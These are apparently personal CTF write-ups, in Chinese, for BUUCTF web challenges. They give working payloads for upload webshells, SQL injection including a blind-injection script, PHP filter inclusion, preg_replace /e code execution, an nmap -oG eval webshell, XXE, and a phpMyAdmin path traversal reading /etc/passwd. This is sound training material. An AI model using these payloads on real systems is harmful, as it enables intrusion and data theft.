题目类型:图片马命令执行+.htaccess配置文件构造PHP后门

随便上传图片马,都提示上传失败,猜测是过滤了一些字符,在前面的[MRCTF2020]你传你🐎呢中有提到一些方法,我们先试着上传一个.htaccess文件

1
2
3
<FilesMatch "1.jpeg">
SetHandler application/x-httpd-php
</FilesMatch>

点击上传时用burp抓包,修改Content-Type为: image/jpeg
上传成功

再继续上传图片马

1
<script language="php">echo file_get_contents("/flag");</script>

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 085833.png)

访问图片地址,得到flag

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 090041.png)

flag{882bc95e-c10a-4f84-9a00-c8fac872f89e}

[SUCTF 2019]CheckIn

题目类型:user.ini文件构成PHP后门+图片马命令执行

上传jpg文件,发现不能上传图片

上传.user.ini文件,前面的GIF是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。

1
2
GIF89
auto_prepend_file=1.jpeg

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 092138.png)

上传成功后上传1.jpeg文件,命令执行

1
2
GIF
<script language="php">echo file_get_contents("/flag");</script>

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 092517.png)

上传成功,访问图片地址

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 092536.png)

flag{294cb170-b8b5-4301-9315-930497cd7b19}

[GXYCTF2019]BabySQli

题目类型:md5比较bypass的题🪄

岁随便输入用户名密码,出现/search.php文件,查看源码得到提示

image-20251029093542313

base32+base64解密得到:select * from user where username = ‘$name’

查看源码:

代码过滤了/\(|\)|\=|or/字符

password进行了md5加密,且用户必须是admin

image-20251029105623818

爆字段数:name=admin’ Order by 3 #&pw=1(注意:这里的or被过滤,使用大小写绕过)

image-20251029094853008 image-20251029095036722

经测试admin在第三字段

  • 猜测:

username数据表里面的3个字段分别是id、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag

payload:

1
name=1' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'#&pw=abc

[打破常规的万能密码(GXYCTF2019]BabySQli) - 《学习笔记》 - 极客文档

[GYCTF2020]Blacklist

题目类型:堆叠注入+HANDLER OPEN语句🪄

image-20251029111427653

判断:输入1;’,无报错,是堆叠注入

输入1’; SELECT 1 –+,发现过滤

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 111259.png)

1’;show databases;#

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 111206.png)

1’;show tables;#

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 111223.png)

1’; show columns from FlagHere;#

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 111237.png)

🔴sql注入查询表中数据的方法补充:

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

HANDLER OPEN语句打开一个表,使其可以使用后续HANDLER READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER CLOSE或会话终止之前不会关闭

【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

payload解释:

1、打开句柄

1
handler handler_table open;

2、查看数据

1
2
handler handler_table read first;
handler handler_table read next;

3、关闭句柄

1
handler handler_table close;

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 111320.png)

[RoarCTF 2019]Easy Java

题目考点L:WEB-INF是java的WEB应用的安全目录

image-20251029114135933

点开help提示:java.io.FileNotFoundException:{help.docx}

🔴WEB-INF:

关于WEB-INF目录及Tomcat部署方式、原理的简单理解-CSDN博客

  • WEB-INF是java的WEB应用的安全目录。
  • 1.WEB-INF/web.xml
  • ​ web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
  • 2.WEB-INF/classes
  • 包含了站点所有用的class文件,包括servlet class和非servlet class
  • 3.WEB-INF/lib
  • 存放web应用需要的JAR文件
  • 4.WEB-INF/src
  • 源码目录,按照包名结构放置各个java文件
  • 5.WEB-INF/database.properties
  • 数据库配置文件
  • 6.WEB-INF/tags
  • 存放了自定义标签文件
  • 7.WEB-INF/jsp
  • jsp 1.2 一下版本的文件存放位置。
  • 8.WEB-INF/jsp2
  • 存放jsp2.0以下版本的文件。
  • 9.META-INF
  • 相当于一个信息包。

🪄漏洞形成原因:

Tomcat的WEB-INF目录,每个j2ee的web应用部署文件默认包含这个目录。

Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录(请注意这里,是通过Nginx,而不是Tomcat访问到的,因为上面已经说到,Tomcat是禁止访问这个目录的)。

🪄漏洞利用方式:

直接在域名后面加上WEB-INF/web.xml就可以了。
根据web.xml配置文件路径或通常开发时常用框架命名习惯,找到其他配置文件或类文件路径。
dump class文件进行反编译。

简单来说:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

改url,方法是POST:

1
url/Download?filename=WEB-INF/web.xml

下载了一个WEB-INF/web.xml文件,打开

image-20251029114526549

看到了com.wm.FlagController,尝试下载FlagController.class文件

方法同样是POST:

1
url/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

打开文件发现:

image-20251029114707442

这里找到了flag的base64编码后的数据,解码:flag{6b2f98a2-ff39-4463-9579-24006df62c41}

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目类型:布尔盲注脚本

一些常见的SQL字符,很多都被过滤了,报错bool

image-20251029145153032

bool盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))#format函数设置指定位置{0}{1}
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(str(num)+':'+flag)
else:
continue
print(flag)

if __name__ == '__main__':
url = 'http://bdc63113-2417-42b7-89b1-b4598836ea74.node5.buuoj.cn:81/index.php'
blind_injection(url)

image-20251029232615727

flag{4014f4de-9570-49f3-aa45-17474bccc0d9}

[BSidesCF 2020]Had a bad day

题目类型:php伪协议,文件包含

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 142626.png)

随便点一个,url出现参数

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 142658.png)

文件包含

/index.php?category=php://filter/convert.base64-encode/resource=index

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 142644.png)

解码得到index.php文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
Had a bad day?
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers</button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers</button></center>
</form>

</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>

其中,传入的category参数必须有woofers,meowers,index

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

目录穿越,返回原页面 /index.php?category=woofers/../flag

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 142626.png)

查看源码

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 142633.png)

文件包含flag:/index.php?category=php://filter/convert.base64-encode/index/resource=flag

image-20251029141842384

解码:

1
2
3
4
<!-- Can you read this flag? -->
<?php
// flag{80518db5-9de7-449f-9f6e-b81587e6321e}
?>

[网鼎杯 2018]Fakebook

题目类型:sql+ssrf+序列化+代码审计🪄

注册

image-20251029181537577

发现用户名可以点开

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 181516.png)

点开发现sql注入

image-20251029181650060

测试,?no=0时报错,数字型注入

image-20251029182130936

字段为4

image-20251029183400452

发现过滤,过滤了union select,用union/**/select绕过

image-20251029184009764

username在2

image-20251029184059435

?no=0 union/**/select 1,database(),3,4–+爆库名,fakebook

image-20251029184351301

?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=”fakebook”

image-20251029184548163

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=”users”

image-20251029184843781

?no=-1 union/**/select 1,concat(data),3,4 from users

image-20251029185056620

没有出flag

?no=0 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users发现之前输入的信息在4

image-20251029190004434

将信息放在4,返回原页面

image-20251029190236585

扫目录发现robots.txt,flag.php

image-20251029194556667image-20251029194606602

访问robots.txt,出现user.php.bar文件,访问下载,得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$output = curl_exec($ch);//ssrf

$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

代码审计,发现ssrf漏洞

前面报错中出现var/www/html/db.php,猜测flag.php的路径var/www/html/flag.php,

ssrf访问文件可以用伪协议file://,把序列化字符串作为参数输入file:///var/www/html/flag.php

image-20251029190432755

成功返回,查看元素

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 181427.png)

<!--?php$flag = "flag{4d38264e-54e6-4270-85c3-3f23b8161fe3}";exit(0);-->

[网鼎杯 2020 朱雀组]phpweb

题目类型:命令执行,代码审计,利用反序列化绕过

POST:func=highlight_file&p=/var/www/html/index.php,源码出现在页面上,发现过滤了很多方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>

<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

命令执行,被过滤

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 200806.png)

反序列化,列出目录

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 201952.png)

换上一级目录,都没有flag相关字段

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 204144.png)

直接查找名为flag的字段

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 204223.png)

第一个路径是flag路径

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 204334.png)

flag{3ece9c10-4ca6-4d89-9403-a6b076e09a51}

[BJDCTF2020]The mystery of ip

题目类型:SSTI模版注入

打开flag模块,出现ip

源码:

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 205123.png)

XFF:127.0.0.1

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 210506.png)

发现再XFF里放什么都会显示在页面上,考虑ssti

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 211431.png)

命令执行

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 211455.png)

flag

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 211509.png)

flag{1063240b-419a-42f5-855d-8e7cb0f153e7}

[BJDCTF2020]ZJCTF,不过如此

题目类型:代码审计,pre_replace()正则表达式替换函数🪄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>
1
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 212128.png)

解码得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
//正则表达替换函数
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}
?>

这里的PHP版本是:5.6.40,preg_replace()+/e存在代码执行漏洞


🔴preg_replace()正则表达式替换函数

1.在 PHP 中,preg_replace 是一个强大的正则表达式替换函数。它可以在一个字符串中使用正则表达式搜索和替换指定的文本。

函数语法如下:

1
preg_replace($pattern, $replacement, $subject);

这里的 $pattern 是一个正则表达式字符串,用于指定搜索的模式, $replacement 是替换成的字符串, $subject 是要搜索和替换的原始字符串或字符串数组。

preg_replace 函数返回一个替换后的字符串或数组。如果没有任何匹配项,则返回原始字符串或数组。

示例 # 使用后向引用紧跟数值原文

1
2
3
4
5
6
<?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,$3';
echo preg_replace($pattern, $replacement, $string);
?>

以上示例会输出:

1
April1,2003

2.这里的正则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function complex($re, $str) {
//正则表达替换函数
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}
  • ( 开始定义一个捕获分组,并匹配其中的子表达式;
  • $re 表示使用 $re 变量包含的正则表达式来作为子表达式;
  • ) 结束定义捕获分组;
  • / 结束定义正则表达式;
  • e 操作符表示将匹配到的表达式当做 PHP 代码来执行;
  • i 操作符表示匹配时忽略大小写的差异。

3.foreach循环把所有的参数对分次交给complex函数运行

4.getFlag一句话木马,”cmd”作为参数

所以需要构造两个参数:

  • 作为正则表达式匹配条件的参数名 且 这个参数值为的”getFlag();”
  • 参数名: 需要php执行的代码
1
\S*=${getFlag()}&cmd=system('cat /flag');

✔️其中:\S*: \S* 是正则表达式中的一个元字符,它匹配任何非空白字符。

🔴PHP正则表达式的逆向引用与子模式分析:https://blog.csdn.net/qq_20408491/article/details/75095055

补充:PCRE函数详解:

PHP: preg_replace - Manual


payload:

/?text=data://text/pain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-29 213428.png)

flag{f8ac7a95-9c77-4c57-af88-1feea07e6dc1}

[BUUCTF 2018]Online Tool

题目类型:php命令执行+escapeshellarg()和escapeshellcmd()函数绕过🪄

img

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

image-20251030183200740

1
/e6305cd14dbe6e1fc4041d81cb3fc9ee/flag.php

连蚁剑:

image-20251030182456877

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-10-30 182520.png)

flag{a87a8cfc-48fb-4874-9e4f-cbb80eee7698}


🔴代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//这段代码检查是否存在X-Forwarded-For HTTP头,如果存在则用其值覆盖客户端的真实IP地址(REMOTE_ADDR),和题目没太多关系
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
//如果没有提供host GET参数,就高亮显示当前PHP文件内容
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else { //获取用户输入的host参数,使用escapeshellarg()和escapeshellcmd()进行安全过滤,防止命令注入
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);//为每个用户创建一个基于其IP地址的MD5哈希的沙盒目录
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //切换到该目录下执行操作
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); //执行nmap扫描
}
🔴escapeshellarg()和escapeshellcmd()函数

这两个是PHP中用于安全处理命令行参数的函数,但它们的组合使用有时会产生意外的结果,两个组合一起就会产生安全隐患。

escapeshellarg():

功能:将字符串转义为安全的shell参数
特点:
在整个字符串周围添加单引号
将字符串中已有的单引号转义为 '\''(先关闭引号,转义单引号,再打开引号)
确保字符串被当作一个整体参数传递

简单案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
$input = "it's";
echo escapeshellarg($input);
处理过程:
1.包裹外层引号 → 'it's'
2.转义内部单引号:
在 ' 前关闭引号 → 'it'
插入转义单引号 → '\''
重新打开引号 → 's'
3.最终结果 → 'it'\''s'

Bash解析时:
'it' + \' + 's'
合并后仍是原始字符串 it's

escapeshellcmd():

功能:转义shell元字符
特点:

转义以下字符:#&;|*?~<>^()[]{}$`、换行符和回车符
不添加引号
主要用于转义整个命令中的特殊字符
实例:

1
2
3
$input = "hello;world";
echo escapeshellcmd($input);
// 输出: hello\;world

两个一起组合如何产生漏洞

当这两个函数组合使用时(特别是先escapeshellarg再escapeshellcmd),可能会产生漏洞:

1
2
3
4
5
6
$input = "' <?php code ?> -oG evil.php '";
$arg = escapeshellarg($input);
// 结果: ''\'' <?php code ?> -oG evil.php '\'''

$cmd = escapeshellcmd($arg);
// 结果: ''\\'' \<\?php code \?\> -oG evil.php '\\'''

Bash解析时的行为:
1.开头处:''\\'' 被解析为字面字符串 \
开头的''是空字符串
\\被解释为字面反斜杠
''又是空字符串
2.中间的 <?php code ?> -oG evil.php因引号被破坏而成为独立参数
3.末尾:最后的'→ 可能被忽略或与后续内容关联
'\\''' 可以拆解为以下部分:
'\\' → 单引号包裹的两个反斜杠
'' → 空字符串
' → 未闭合的单引号(实际会与后续内容关联)

✔️相关习题:CISCN2024-Web方向__ezphp

https://blog.csdn.net/Err0r233/article/details/139089870?fromshare=blogdetail&sharetype=blogdetail&sharerId=139089870&sharerefer=PC&sharesource=sundan147369&sharefrom=from_link


[GXYCTF2019]禁止套娃

题目类型:git泄露+PHP代码审计

源码,抓包都没东西

扫目录发现git泄露

image-20251031121705295

GitHack

image-20251031122137473

发现index.php文件

image-20251031122243817

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

分析PHP代码,需要通过GET参数exp执行代码来获取flag,且需满足以下限制:

  1. 不能使用data://、filter://、php://、phar://等协议。
  2. exp参数必须由函数调用组成,且函数调用只能有零个或一个参数(参数本身必须是函数调用),经preg_replace处理后仅剩分号。
  3. exp参数中不能包含字符串et、na、info、dec、bin、hex、oct、pi、log。

通过分析,可以使用以下payload来读取flag.php文件:

payload:

1
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));

🔴解释:

  • localeconv():返回包含本地化信息的数组,其中decimal_point通常为字符串.。
  • current(localeconv()):获取数组的第一个元素,即.。
  • scandir(current(localeconv())):扫描当前目录(.)的文件,返回文件数组。
  • array_reverse(scandir(current(localeconv()))):将文件数组反转,使原数组的最后一个元素成为第一个。
  • next(array_reverse(scandir(current(localeconv())))):获取反转数组的第二个元素。在典型CTF环境中,目录仅包含.、..、flag.php和index.php,因此flag.php成为反转数组的第二个元素。
  • readfile(...):读取并输出flag.php的内容。

此payload符合所有限制:

  • 仅包含函数调用,且每个函数最多一个参数(参数为函数调用)。
  • 不包含禁止的字符串。
  • 不使用被禁止的协议。

image-20251031124052940

源码中发现flag

image-20251031124017698

[NCTF2019]Fake XML cookbook

题目类型:XXE

看源码,看到xml,考虑XXE

image-20251031124726323

使用以下XXE Payload读取/flag文件(假设flag位于根目录):

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>&xxe;</username>
<password>test</password>
</user>

flag~

image-20251031125200373

flag{059c2dcd-2241-4135-87d9-1b3ddf27bd69}

[GWCTF 2019]我有一个数据库

题目类型:phpmyadmin数据库

image-20251031125522744

扫目录,发现/phpmyadmin/index.php

image-20251031131605100

访问进入phpMyAdmin数据库

image-20251031131652290

发现数据库详细信息

image-20251031132124609

已有数据库也没权限

image-20251031144847267

✔️查询到phpmyadmin4.8.1版本(4.8.0 <= phpMyAdmin < 4.8.2)存在任意文件读取漏洞:

🔴phpMyAdmin 4.8.1数据库

phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现_phpmyadmin 4.8.1远程文件包含漏洞(cve-2018-12613)-CSDN博客

使用Payload尝试:

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
出现根目录信息,文件包含漏洞存在

image-20251031145116658

获取flag

phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

image-20251031145218615

flag{bd9b17ab-e72c-44c7-a169-6c3f6798ebc0}

[BJDCTF2020]Mark loves cat

题目类型:git泄露+php代码审计+foreach循环函数

随便上传,发现上传的内容会出现在url里,尝试sql注入,但是不是

image-20251031153834777

源代码,抓包无发现

扫目录发现git泄露

image-20251031154008470

用GitHack扫,python2的Git_Extract (是用于恢复.git文件)得到index.php,flag.php文件(本题环境应该有问题没恢复出来)

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){ #foreach进行循坏,遍历POST,将数组中的值赋值给$y
$$x = $y;
}

foreach($_GET as $x => $y){ #foreach进行循坏,遍历GET,将数组中的值赋值给$y
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){#不能同时flag的值等于某个键名,那个键又是flag
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ #不能同时GET和POST都设置flag
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ #任意都能满足flag==='flag'
exit($is);
}
echo "the flag is: ".$flag;

flag.php:

1
2
<?php
$flag = file_get_contents('/flag');

AI分析给出payload:

?is=flag&flag=flag

image-20251031165151740

flag{ef8c96a5-de5b-44af-9b55-39f8f51a8e26}

代码执行逻辑:

  • include 'flag.php' 后,$flag 被设置为真正的flag值。
  • 初始变量:$yds = "dog", $is = "cat", $handsome = 'yds'。
  • 处理GET参数:
    • is=flag:执行$$x = $$y即$is = $flag,所以$is变为flag值。
    • flag=flag:执行$$x = $$y即$flag = $flag,无变化。
  • 第三个foreach循环检查:由于$_GET['flag']为'flag',且参数$x为'flag'时$x !== 'flag'为假,因此不触发退出。
  • 检查!isset($_GET['flag']) && !isset($_POST['flag']):条件不成立,因为$_GET['flag']已设置。
  • 检查$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag':条件成立,因此退出并输出$is,即flag值。

通过此方法,响应中将包含flag。

代码分析:

1.exit()函数
exit函数的作用是输出一则消息并且终止当前脚本。

例如: $handsome=flag;

1
exit($handsome);   #输出flag   

2.foreach()函数
foreach循环函数作用是用来遍历数组,foreach 循环在处理数组时非常灵活,因为它可以遍历索引数组和关联数组(键值对数组)。

img

核心解题思路:
在flag.php中有提示

1
2
<?php
$flag = file_get_contents('/flag');

从index.php代码中有提示,flag在$flag中

1
echo "the flag is: ".$flag;

我们现在只需要输出$flag,即可得到我们想要的flag


✔️原文链接:https://blog.csdn.net/weixin_71913298/article/details/140244647

wp三种解法:

🪄核心解法1:$yds
payload为:?yds=flag

GET传入后$x=yds&$y=flag,覆盖为$yds=$flag

1
2
3
4
if(!isset($_GET['flag']) && !isset($_POST['flag']))#不能同时GET和POST都设置flag
{ #配置IF条件,确保执行exit($yds)
exit($yds); #保证$yds=$flag,输出$flag
}

这里没有添加flag参数,所以满足if条件。执行exit($flag)

🪄核心解法2:$handsome
payload为:?handsome=flag&flag=handsome

解:

第一步仍然是覆盖handsome,handsome=flag,得到$handsome=$flag

第二部如何满足if条件

1
2
3
4
5
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){#不能同时flag的值等于某个键名,那个键又是flag
exit($handsome);
}
}

这时$x=handsome&$y=flag。所以Get传入flag=handsome即可满足if条件。

并且执行变量覆盖代码后,$flag=$handsome,而$handsome=$flag,所以并不影响flag值。

🪄核心解法3:$is
payload为:?is=flag&flag=flag

此题不管如何GET和POST传入都会触发变量覆盖

1
2
3
4
5
6
foreach($_POST as $x => $y){
$$x = $y;#foreach进行循坏,遍历POST,将数组中的值赋值给$y
}
foreach($_GET as $x => $y){
$$x = $$y; #foreach进行循坏,遍历GET,将数组中的值赋值给$y
}

既然此题都能触发变量覆盖,那我在这里使用POST传入,可以获得flag吗?若使用Post传入flag。$x=flag&$y=flag,$$x=$y-->$flag=flag。我们本来要执行exit($flag),要是$flag值被覆盖了,那不就输出不了flag了,所以这里只能使用Get方法发送。

1
2
3
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
exit($is);#任意都能满足flag==='flag
}

is=flag是进行变量覆盖。flag=flag是为了满足if条件,执行exit($is)

